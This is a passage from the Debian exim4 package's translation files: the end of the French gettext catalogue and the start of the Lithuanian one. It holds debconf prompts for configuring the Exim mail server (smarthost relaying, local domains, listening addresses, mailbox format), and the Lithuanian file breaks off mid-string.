../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "La configuration d'Exim 4 est gérée par un paquet dédié nommé exim4-config. " "Si vous souhaitez reconfigurer Exim 4, vous devez utiliser la commande " "« dpkg-reconfigure exim4-config »." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "Distribution directe par SMTP (site Internet)" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "Envoi par relais (« smarthost ») — réception SMTP ou fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "Envoi par relais (« smarthost ») — pas de courrier local" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "Distribution locale seulement (pas de réseau)" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "Pas de configuration pour l'instant" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Type de configuration :" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Veuillez choisir le type de configuration qui correspond le mieux à vos " "besoins." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Les systèmes utilisant des adresses IP dynamiques, notamment les systèmes " "connectés par intermittence, doivent le plus souvent être configurés pour " "envoyer les courriers électroniques sortants à une autre machine qui sert de " "relais (« smarthost »). Cette option est conseillée car de nombreux systèmes " "bloquent la réception des courriers envoyés par les systèmes utilisant une " "adresse dynamique (protection contre les indésirables ou « spam »)." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Un système utilisant une adresse dynamique peut recevoir son propre courrier " "à moins que la réception locale ne soit totalement désactivée (à l'exception " "des courriers pour le superutilisateur ou pour « postmaster »)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Faut-il vraiment laisser le serveur de courrier non configuré ?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Tant qu'il ne sera pas configuré, votre serveur de courrier ne sera pas en " "état de fonctionner et sera inutilisable en l'état. Vous pouvez bien sûr le " "configurer vous-même plus tard ou utiliser la commande « dpkg-reconfigure " "exim4-config » avec les privilèges du superutilisateur." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Nom de courrier du système :" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "Le nom de courrier (« mail name ») est le nom de domaine qui sert à " "compléter les adresses électroniques qui n'en comportent pas." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Ce nom sera également utilisé par d'autres programmes ; il doit correspondre " "au domaine unique et complètement qualifié (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Par exemple, si une adresse électronique locale est toto@example.org, la " "valeur appropriée pour cette option sera « example.org »." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Ce nom n'apparaîtra pas dans les en-têtes origines (« From ») des courriers " "sortants si vous activez la réécriture." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Autres destinations dont le courrier doit être accepté :" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Veuillez indiquer une liste des domaines, séparés par des points-virgules, " "pour lesquels cette machine est la destination finale. Il est inutile de " "mentionner ici le nom d'hôte local (${fqdn}) ou « localhost ». Ces domaines " "sont habituellement appelés des domaines locaux." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Par défaut, tous les domaines seront traités à l'identique. Ainsi, si a." "exemple et b.exemple sont des domaines locaux, acc@a.exemple et acc@b." "exemple seront distribués au même destinataire. Si vous souhaitez traiter un " "domaine d'une manière différente, vous devrez modifier les fichiers de " "configuration ultérieurement." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domaines à relayer :" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Veuillez indiquer la liste des domaines pour lesquels ce système acceptera " "de relayer les courriers (par exemple en tant que serveur MX de secours ou " "en tant que passerelle de courrier). Le courrier destiné à ces domaines sera " "accepté quel que soit le système émetteur et sera distribué selon les règles " "locales de distribution." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" "Il n'est pas nécessaire de mentionner les domaines locaux ici. Des " "caractères joker peuvent être utilisés." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Machines à relayer :" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Veuillez indiquer une liste de plages d'adresses IP, séparées par des points-" "virgules, pour lesquelles ce système acceptera de relayer le courrier sans " "discrimination (fonctionnement en « smarthost »)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Vous devez utiliser le format normalisé adresse/préfixe (par exemple " "194.222.242.0/24 ou 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Si ce système ne doit pas être un « smarthost » pour d'autres systèmes, ce " "champ devrait être laissé vide." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Nom de domaine visible pour les utilisateurs locaux :" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "L'option permettant de cacher le nom local de courrier a été activée. Il est " "donc nécessaire d'indiquer le nom de domaine que ce système doit utiliser " "pour les envois de courriers des utilisateurs locaux." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Nom réseau ou adresse IP du système « smarthost » :" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Veuillez indiquer l'adresse IP ou le nom d'hôte du serveur qui sera le " "serveur de courrier sortant pour ce système (« smarthost »). Si ce serveur " "accepte les connexions sur un port différent du port TCP 25, veuillez " "l'indiquer avec deux caractères « deux-points » comme séparateurs, par " "exemple « smarthost.exemple::587 » ou « 192.168.254.254::2525. Les " "caractères « deux-points » dans les adresses IPv6 doivent être doublés." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Si le serveur « smarthost » impose une authentification, vous devriez " "consulter les fichiers « README » spécifiques à Debian dans /usr/share/doc/" "exim4-base pour plus d'informations sur l'authentification SMTP." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Destinataire des courriers de « root » et « postmaster » :" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Les courriers destinés au superutilisateur, à « postmaster » et aux autres " "comptes système doivent être redirigés vers le compte utilisateur de " "l'administrateur réel du système." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Si ce champ est laissé vide, ces courriers seront conservés dans /var/mail/" "mail, ce qui est déconseillé." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Les courriers destinés « postmaster » devraient généralement être lus sur le " "système local, plutôt que redirigés vers un autre système. En conséquence, " "au moins un des utilisateurs que vous indiquez ne devraient pas rediriger " "ses courriers vers une autre machine. Le préfixe « real- » peut être utilisé " "pour imposer la distribution locale." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "" "Si vous indiquez plusieurs identifiants, veuillez les séparer par des " "espaces." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "" "Liste d'adresses IP où Exim sera en attente de connexions SMTP entrantes :" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Veuillez indiquer une liste d'adresses IP, séparées par des points-virgules, " "où le serveur de courrier SMTP d'Exim sera à l'écoute." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Si vous laissez cette entrée vide, Exim sera à l'écoute sur toutes les " "interfaces réseau disponibles." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Si ce système ne reçoit du courrier que depuis des services locaux (et non " "d'autres hôtes), vous devriez interdire les connexions externes au démon " "d'Exim. Les services locaux incluent les programmes de courrier électronique " "(« Mail User Agents » ou MUA) ainsi que des programmes tels que fetchmail. " "La désactivation des connexions entrantes sur les interfaces réseau " "publiques peut se faire en indiquant 127.0.0.1 ici." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Faut-il minimiser les requêtes DNS (connexions à la demande) ?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "En fonctionnement normal, Exim effectue des contrôles DNS au démarrage et " "lors de la réception ou de la distribution de messages. Cela est destiné à " "la journalisation et permet de minimiser le nombre de valeurs codées en dur " "dans le fichier de configuration." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Si cet hôte n'a pas de connexion permanente vers un serveur de noms, " "notamment s'il utilise des connexions à la demande, cela peut avoir des " "conséquences inattendues. Par exemple, le lancement d'Exim ou le traitement " "de la file d'attente (même sans messages en attente) générera de coûteuses " "connexions." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Cette option est conseillée pour les systèmes utilisant des connexions à la " "demande. Elle devrait être désactivée pour des systèmes disposant d'une " "connexion permanente." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Configuration du serveur de courrier" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Faut-il séparer la configuration dans plusieurs fichiers ?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Les paquets d'Exim 4 peuvent utiliser soit un fichier monolithique (/etc/" "exim4/exim4.conf.template), soit un nombre important de petits fichiers " "dans /etc/exim4/conf.d/ pour créer la configuration finale." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Une configuration en un seul fichier est plus adaptée aux modifications " "importantes et est généralement plus stable alors qu'une configuration " "éclatée se prête mieux aux petites modifications mais est plus fragile " "surtout si elle est modifiée sans précautions." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Des explications plus détaillées sur les deux types de fonctionnement " "peuvent être trouvées dans les fichiers README spécifiques à la " "distribution, placés dans /usr/share/doc/exim4-base/." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Faut-il cacher le nom local de courrier dans les courriers sortants ?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Les en-têtes des courriers sortants peuvent être réécrits afin qu'ils " "semblent avoir été émis depuis un autre système : « ${mailname} », " "« localhost » et « ${dc_other_hostnames} » seront alors remplacés dans les " "en-têtes « From », « Reply-To », « Sender » et « Return-Path »." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "Format « mbox » dans /var/mail" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Format « Maildir » dans le répertoire de base (home)" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Méthode de distribution du courrier local :" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim peut conserver les courriers distribués localement dans différents " "formats. Les plus courants sont les formats « mbox » et « Maildir ». Le " "format « mbox » utilise un seul fichier pour le dossier des courriers, dans /" "var/mail. Avec le format « Maildir », chaque message est stocké sous forme " "d'un fichier dans le répertoire ~/Maildir." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Veuillez noter que la plupart des outils de traitement du courrier utilisent " "le format « mbox » par défaut." #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Déplacer les courriels en attente dans le tampon d'Exim 3 vers celui " #~ "d'Exim 4 ?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Des messages non distribués se trouvent dans le tampon d'envoi d'Exim 3 " #~ "(ou Exim-tls 3), c'est à dire le répertoire /var/spool/exim/input/." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Si vous choisissez cette option, ils seront déplacés dans le tampon " #~ "d'envoi d'exim4 (/var/spool/exim4/input/) où ils pourront être traités " #~ "par exim4." #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Cette option est irréversible car Exim 4 peut gérer le tampon d'attente " #~ "d'Exim 3 alors que l'inverse n'est pas possible. Vous ne devriez déplacer " #~ "les messages que si vous n'avez pas l'intention de revenir à Exim 3. Dans " #~ "le cas contraire, il sera préférable de déplacer les messages plus tard." debian/po/lt.po0000644000000000000000000006157512027557533010612 0ustar # translation of exim4-lt.po to Lithuanian # # Kęstutis Biliūnas , 2004. # Gintautas Miliauskas , 2004, 2006. msgid "" msgstr "" "Project-Id-Version: exim4-lt\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2008-09-01 17:25+0300\n" "Last-Translator: Gintautas Miliauskas \n" "Language-Team: Lithuanian \n" "Language: lt\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.11.2\n" "Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && (n" "%100<10 || n%100>=20) ? 1 : 2);\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Ar pašalinti neišsiųstus laiškus iš pašto eilės (spool) aplanko?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Pašto eilės (spool) aplanke /var/spool/exim4/input yra neišsiųstų laiškų. " "Jei dabar išinstaliuosite Exim, jie nebus išsiųsti tol, kol vėl " "instaliuosite Exim." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Jei šis nustatymas nepasirinktas, pašto eilės katalogas paliekamas " "neištrintas, todėl jame esantys laiškai gali būti išsiųsti vėliau iš naujo " "instaliavus Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Perkonfigūruoti exim4-config vietoje šio paketo" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 konfigūracija buvo iškelta į atskirą paketą exim4-config. Jei norite " "konfigūruoti Exim4, įvykdykite „dpkg-reconfigure exim4-config“." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "" "interneto stotis; pašto siuntimas ir priėmimas tiesiogiai SMTP protokolu" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "pašto siuntimas per smarthost; priėmimas per SMTP arba fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "pašto siuntimas per smarthost; nėra lokalaus pašto" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "tik lokalus pašto pristatymas; tinklo nėra" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "šiuo metu nekonfigūruoti" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Bendras pašto konfigūracijos tipas:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Pasirinkite pašto serverio konfigūracijos tipą, geriausiai atitinkantį Jūsų " "poreikius." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Sistemos su dinaminiu IP adresu (įskaitant sistemas su komutuojamomis " "telefono linijomis) paprastai turėtų būti sukonfigūruotos persiųsti " "išeinantį paštą kitam pašto serveriui, vadinamam „smarthost“, nes daug " "sistemų internete saugodamosi nuo šiukšlių nepriima pašto iš dinaminių IP " "adresų." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Sistema su dinaminiu IP adresu gali gauti savo paštą arba vietinis " "pristatymas gali būti visiškai išjungtas (išskyrus paštą sistemos " "administratoriui ir pašto administratoriui)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Ar tikrai palikti pašto sistemą nekonfigūruotą?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Kol pašto sistema nesukonfigūruota, ji nebus tinkama darbui ir negali būti " "naudojama. Galite atlikti konfigūravimą rankiniu būdu (redaguodami " "konfigūracijos failus) arba administratoriaus teisėmis įvykdę komandą „dpkg-" "reconfigure exim4-config“." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Pašto sistemos vardas:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "Pašto sistemos vardas (mail name) – tai domeno vardas, naudojamas adresams " "be nurodyto domeno vardo." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Šį vardą naudoja ir kitos programos. Tai turėtų būti atskiras, pilnas domeno " "vardas (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Pavyzdžiui, jei vienas iš sistemos pašto adresų yra abc@example.com, tinkama " "reikšmė šiam nustatymui būtų „example.com“." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Šio vardo nebus išeinančių laiškų „From:“ antraštėje, jei įjungsite " "perrašymą." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Kitos paskirties vietos, kurioms paštas turi būti priimtas:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Įveskite domenų, kuriuos aptarnauja ši sistema (užuot persiuntusi kitai " "sistemai), sąrašą. Domenus atskirkite kabliataškiais. Šie domenai dažnai " "vadinami „vietiniais domenais“. Vietinis pašto vardas (${fqdn}) ir " "„localhost“ įskaičiuojami į šį sąrašą automatiškai." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Pagal nutylėjimą visi vietiniai domenai bus apdorojami vienodai. Jei „a.pvz“ " "ir „b.pvz“ yra vietiniai domenai, laiškai, adresuoti „petras@a.pvz“ ir " "„petras@b.pvz“, bus siunčiami ten pat. Jei skirtingus domenų vardus reikia " "apdoroti skirtingai, teks redaguoti konfigūraciją rankiniu būdu." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domenai, kurių paštą reikia perduoti (relay):" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Įveskite gavėjų domenų, kurių paštas bus persiunčiamas, sąrašą, kad ši " "sistema galėtų jiems veikti kaip pašto šliuzas arba atsarginis MX serveris. " "Ši sistema priims paštą, siunčiamą į šiuos domenus, iš bet kurio kompiuterio " "internete, ir pristatys juos pagal vietinio pristatymo taisykles." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Vietinių domenų rašyti nereikia. Galima naudoti šablonus." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Kompiuteriai, kurių paštą leidžiama perduoti (relay):" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Įveskite kabliataškiais atskirtą sąrašą IP adresų ruožų, kurių paštas visada " "bus persiunčiamas – ši sistema jiems veiks kaip „smarthost“." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Naudokite standartinį formatą adresas/ilgis (pvz., 194.222.242.0/24 arba " "5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Jei ši sistema neturėtų būti „smarthost“ jokioms kitoms sistemoms, palikite " "šį sąrašą tuščią." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Domeno vardas vietiniams naudotojams:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Pasirinkote slėpti vietinį pašto sistemos vardą siunčiamuose laiškuose, " "todėl būtina nurodyti domeno vardą, kurį ši sistema turėtų naudoti vietinių " "naudotojų laiškuose kaip domeną." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "„smarthost“ IP adresas arba serverio vardas:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Įveskite pašto serverio, kuris bus naudojamas pašto siuntimui („smarthost“), " "IP adresą arba vardą. Jei serveris priima paštą nestandartiniu 